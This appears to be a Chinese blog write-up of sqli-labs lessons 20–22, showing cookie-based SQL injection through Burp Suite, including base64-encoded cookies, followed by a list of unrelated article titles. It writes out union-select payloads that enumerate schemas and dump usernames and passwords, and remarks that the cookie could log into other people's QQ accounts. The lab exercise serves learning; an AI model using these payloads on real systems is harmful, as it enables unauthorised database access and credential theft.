less-20

第20关成功登陆之后会产生一个cookie,作为下次登陆的凭证(可以用于登陆其他人的qq空间)

这里我依然使用burp suite,其实火狐和谷歌上有许多插件可以改http头和cookie(例如chrome工具: Cookie Editor),掌握一个即可

抓包后发送到repeater:

改cookie:uname=admin',报错,说明存在注入漏洞

之后构造语句还是老步骤

查看列数:uname=' order by 4 # (注意闭合sql语句)

判断回显位置:uname='union select 1,2,3#

爆库:uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#

爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#

爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#

爆信息:uname='union select 1,2,group_concat(concat_ws('-',username,password))from security.users#

less-21

输入用户名密码登陆:

抓包观察数据:

可以看到cookie的内容变成加密的形式,百度后用base64加解密可以解决:

https://base64.us/

把我们需要输入的语句先进行一遍base64加密即可:

例如判断当前数据库:uname=')union select 1,2,database()#转义之后:

除了闭合方式和加一步转码外,步骤与上一关完全一致,不再赘述。

less-22

本关抓包并测试发现数据格式变为“”,其他完全一样

“ union select 1,2,database()#转义:InVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

其他语句均相同!

1-22关为基础关,到此结束。

最新文章

  1. 【翻译十】java-固定锁和同步
  2. android-GridView控件的使用
  3. C# 调用VC++的DLL,VC++封装DLL
  4. Spark生态之Spark Core
  5. Android通过tcpdump抓包(wifi, 2g, 3g都可以)
  6. Spring 配置自动扫描spring bean配置
  7. 目前比较流行的Python科学计算发行版
  8. 将app接口服务器改为dotnet core承载
  9. gitlab wiki 500
  10. java.lang.NoSuchMethodError: org.springframework.boot.builder.SpringApplicationBuilder.<init>([Ljava
  11. XSS绕过<>进行测试
  12. 分析解剖微服务系列(二)-SOA和微服务异同
  13. 尚硅谷springboot学习33-整合mybatis
  14. 关于Unity中的模型描边与Shader切换(专题二)
  15. Python练习-函数版-锁定三次登陆失败的用户
  16. 【BioCode】根据seq与位点信息截取窗口
  17. Excel分类汇总与数据有效性
  18. jsp、Servlet的面试题
  19. 数据爬取后台(PHP+Python)联合作战
  20. 第2章 深入分析java I/O的工作机制(上)

热门文章

  1. 10 shell test命令
  2. php安裝7.3版本
  3. 第13次抽考(IO流)
  4. 『心善渊』Selenium3.0基础 — 28、unittest中测试套件的使用
  5. ESP32构建系统(CMake版)
  6. Entity Framework Core中的数据迁移命令
  7. C语言:2.2
  8. LeetCode 895. Maximum Frequency Stack
  9. python包安装
  10. 第七篇 -- 添加CSV Data Set Config